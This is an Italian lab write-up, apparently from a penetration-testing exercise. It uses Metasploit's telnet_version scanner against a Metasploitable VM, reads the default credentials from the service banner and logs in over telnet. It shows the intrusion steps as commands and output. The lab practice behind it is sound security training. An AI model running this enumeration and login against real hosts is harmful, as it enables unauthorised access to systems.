Utilizziamo l'exploit **telnet_version** con bersaglio la macchina Metasploitable (IP 192.168.1.40), lanciandolo da Kali Linux.

```
msf6 > use auxiliary/scanner/telnet/telnet_version
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD                   no        The password for the specified username
   RHOSTS                     yes       The target host(s), see https://docs.metasploit.com/d
   RPORT     23               yes       The target port (TCP)
   THREADS   1                yes       The number of concurrent threads (max one per host)
   TIMEOUT   30               yes       Timeout for the Telnet probe
   USERNAME                   no        The username to authenticate as


View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/telnet/telnet_version) > set RHOSTS 192.168.1.40
RHOSTS ⇒ 192.168.1.40
```

Una volta lanciato, ci fornisce le credenziali di accesso alla macchina.

```
msf6 auxiliary(scanner/telnet/telnet_version) > exploit

[+] 192.168.1.40:23       - 192.168.1.40:23 TELNET _                     _       _ _       _       _          ___  \x0a _ _ __   __| |_ _ _ __ _ _ | | __ (_) |_ _ _|
_/ _` | '_ \| |/ _ \ _) |\x0a| | | | | |  _/ || (_| \__ \ |_) | | (_) | | || (_| | | |_) | |  _// _/ \x0a|_| |_| |_|\__|\__\_,_|___/ ._/|_|\__/|_|\__\_,_|_._
                  \x0a\x0a\x0aWarning: Never expose this VM to an untrusted network!\x0a\x0aContact: msfdev[at]metasploit.com\x0a\x0aLogin with msfadmin/msfadmin
[*] 192.168.1.40:23       - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Creiamo un collegamento **telnet** inserendo le credenziali trovate precedentemente.

```
msf6 auxiliary(scanner/telnet/telnet_version) > telnet 192.168.1.40
[*] exec: telnet 192.168.1.40

Trying 192.168.1.40 ...
Connected to 192.168.1.40.
Escape character is '^]'.
                                                  _                  _
  _ __ ___    ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___ \
 | '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __/ _` | '_ \| |/ _ \__) |
 | | | | | |  __/ || (_| \__ \ |_) | | (_) | | || (_| | |_) | |  __// __/
 |_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|_|\___|_____|
                             |_|


Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started


metasploitable login: msfadmin
Password:
Last login: Tue Mar  5 04:18:46 EST 2024 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
```

Effettivamente siamo riusciti a collegarci in remoto alla macchina, come dimostra l'esecuzione del comando **ifconfig**.